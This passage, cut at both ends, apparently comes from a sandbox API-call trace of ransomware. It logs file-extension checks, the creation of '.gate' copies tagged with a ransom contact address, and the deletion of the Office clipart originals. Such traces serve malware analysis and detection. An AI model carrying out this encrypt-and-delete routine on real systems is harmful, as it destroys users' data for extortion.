(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0300.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0300.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0300.704] lstrlenW (lpString=".doc") returned 4 [0300.704] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0300.704] lstrlenW (lpString=".docx") returned 5 [0300.704] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0300.704] lstrlenW (lpString=".pdf") returned 4 [0300.704] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0300.704] lstrlenW (lpString=".xls") returned 4 [0300.704] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0300.704] lstrlenW (lpString=".xlsx") returned 5 [0300.704] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0300.704] lstrlenW (lpString=".ppt") returned 4 [0300.704] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0300.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0300.704] lstrlenW (lpString=".zip") returned 4 [0300.704] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0300.704] lstrlenW (lpString=".rar") returned 4 [0300.705] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0300.705] lstrlenW (lpString=".bz2") returned 4 [0300.705] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0300.705] lstrlenW (lpString=".7z") returned 3 [0300.705] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0300.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0300.705] lstrlenW (lpString=".dbf") returned 4 [0300.705] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0300.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0300.705] lstrlenW (lpString=".1cd") returned 4 [0300.705] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0300.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0300.705] lstrlenW (lpString=".jpg") returned 4 [0300.705] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0300.705] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6070) returned 1 [0300.705] CloseHandle (hObject=0x4c0) returned 1 [0300.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220 [0300.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0300.706] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.706] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0300.707] GetLastError () returned 0x0 [0300.707] ReadFile (in: hFile=0x4c0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x17b6, lpOverlapped=0x0) returned 1 [0301.019] WriteFile (in: hFile=0x528, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0301.019] ReadFile (in: hFile=0x4c0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.020] WriteFile (in: hFile=0x528, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.020] SetEndOfFile (hFile=0x528) returned 1 [0301.020] CloseHandle (hObject=0x528) returned 1 [0301.020] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.020] SetEndOfFile (hFile=0x4c0) returned 1 [0301.022] CloseHandle (hObject=0x4c0) returned 1 [0301.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0301.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0301.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0301.023] lstrlenW (lpString=".doc") returned 4 [0301.023] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.023] lstrlenW (lpString=".docx") returned 5 [0301.023] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0301.023] lstrlenW (lpString=".pdf") returned 4 [0301.023] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.023] lstrlenW (lpString=".xls") returned 4 [0301.023] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.023] lstrlenW (lpString=".xlsx") returned 5 [0301.023] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0301.023] lstrlenW (lpString=".ppt") returned 4 [0301.023] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0301.023] lstrlenW (lpString=".zip") returned 4 [0301.023] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.023] lstrlenW (lpString=".rar") returned 4 [0301.023] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.023] lstrlenW (lpString=".bz2") returned 4 [0301.023] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.023] lstrlenW (lpString=".7z") returned 3 [0301.023] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0301.023] lstrlenW (lpString=".dbf") returned 4 [0301.023] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0301.023] lstrlenW (lpString=".1cd") returned 4 [0301.024] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0301.024] lstrlenW (lpString=".jpg") returned 4 [0301.024] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.024] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6564) returned 1 [0301.024] CloseHandle (hObject=0x4c0) returned 1 [0301.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220 [0301.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0301.025] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.025] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0301.025] GetLastError () returned 0x0 [0301.025] ReadFile (in: hFile=0x4c0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x19a4, lpOverlapped=0x0) returned 1 [0301.278] WriteFile (in: hFile=0x528, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0301.279] ReadFile (in: hFile=0x4c0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.279] WriteFile (in: hFile=0x528, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.279] SetEndOfFile (hFile=0x528) returned 1 [0301.279] CloseHandle (hObject=0x528) returned 1 [0301.279] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.279] SetEndOfFile (hFile=0x4c0) returned 1 [0301.281] CloseHandle (hObject=0x4c0) returned 1 [0301.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0301.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0301.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0301.385] lstrlenW (lpString=".doc") returned 4 [0301.385] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.385] lstrlenW (lpString=".docx") returned 5 [0301.385] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0301.385] lstrlenW (lpString=".pdf") returned 4 [0301.385] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.385] lstrlenW (lpString=".xls") returned 4 [0301.385] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.385] lstrlenW (lpString=".xlsx") returned 5 [0301.385] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0301.385] lstrlenW (lpString=".ppt") returned 4 [0301.385] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0301.385] lstrlenW (lpString=".zip") returned 4 [0301.385] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.385] lstrlenW (lpString=".rar") returned 4 [0301.385] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.385] lstrlenW (lpString=".bz2") returned 4 [0301.385] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.385] lstrlenW (lpString=".7z") returned 3 [0301.385] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0301.385] lstrlenW (lpString=".dbf") returned 4 [0301.385] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0301.385] lstrlenW (lpString=".1cd") returned 4 [0301.385] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0301.386] lstrlenW (lpString=".jpg") returned 4 [0301.386] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.595] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5983) returned 1 [0301.595] CloseHandle (hObject=0x52c) returned 1 [0301.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220 [0301.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0301.767] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.767] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0301.768] GetLastError () returned 0x0 [0301.768] ReadFile (in: hFile=0x52c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x175f, lpOverlapped=0x0) returned 1 [0301.802] WriteFile (in: hFile=0x538, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x1760, lpOverlapped=0x0) returned 1 [0301.803] ReadFile (in: hFile=0x52c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.803] WriteFile (in: hFile=0x538, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0301.803] SetEndOfFile (hFile=0x538) returned 1 [0301.803] CloseHandle (hObject=0x538) returned 1 [0301.804] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.804] SetEndOfFile (hFile=0x52c) returned 1 [0301.806] CloseHandle (hObject=0x52c) returned 1 [0301.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1 [0301.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0301.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0301.807] lstrlenW (lpString=".doc") returned 4 [0301.807] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.807] lstrlenW (lpString=".docx") returned 5 [0301.807] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0301.807] lstrlenW (lpString=".pdf") returned 4 [0301.807] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.807] lstrlenW (lpString=".xls") returned 4 [0301.807] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.808] lstrlenW (lpString=".xlsx") returned 5 [0301.808] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0301.808] lstrlenW (lpString=".ppt") returned 4 [0301.808] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0301.808] lstrlenW (lpString=".zip") returned 4 [0301.808] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.808] lstrlenW (lpString=".rar") returned 4 [0301.808] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.808] lstrlenW (lpString=".bz2") returned 4 [0301.808] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.808] lstrlenW (lpString=".7z") returned 3 [0301.808] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0301.808] lstrlenW (lpString=".dbf") returned 4 [0301.808] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0301.808] lstrlenW (lpString=".1cd") returned 4 [0301.808] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0301.808] lstrlenW (lpString=".jpg") returned 4 [0301.808] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.836] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=14044) returned 1 [0301.836] CloseHandle (hObject=0x4f0) returned 1 [0301.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220 [0301.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0301.836] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.836] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0301.839] GetLastError () returned 0x0 [0301.839] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x36dc, lpOverlapped=0x0) returned 1 [0301.935] WriteFile (in: hFile=0x554, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x36e0, lpOverlapped=0x0) returned 1 [0301.936] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.936] WriteFile (in: hFile=0x554, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.936] SetEndOfFile (hFile=0x554) returned 1 [0301.936] CloseHandle (hObject=0x554) returned 1 [0301.936] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.936] SetEndOfFile (hFile=0x4f0) returned 1 [0301.939] CloseHandle (hObject=0x4f0) returned 1 [0301.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0301.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0301.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0301.940] lstrlenW (lpString=".doc") returned 4 [0301.940] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.940] lstrlenW (lpString=".docx") returned 5 [0301.940] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0301.940] lstrlenW (lpString=".pdf") returned 4 [0301.940] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.940] lstrlenW (lpString=".xls") returned 4 [0301.940] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.940] lstrlenW (lpString=".xlsx") returned 5 [0301.940] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0301.940] lstrlenW (lpString=".ppt") returned 4 [0301.940] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0301.940] lstrlenW (lpString=".zip") returned 4 [0301.940] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.940] lstrlenW (lpString=".rar") returned 4 [0301.940] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.941] lstrlenW (lpString=".bz2") returned 4 [0301.941] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.941] lstrlenW (lpString=".7z") returned 3 [0301.941] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0301.941] lstrlenW (lpString=".dbf") returned 4 [0301.941] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0301.941] lstrlenW (lpString=".1cd") returned 4 [0301.941] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0301.941] lstrlenW (lpString=".jpg") returned 4 [0301.941] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.960] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4961) returned 1 [0301.960] CloseHandle (hObject=0x4f4) returned 1 [0301.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220 [0302.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 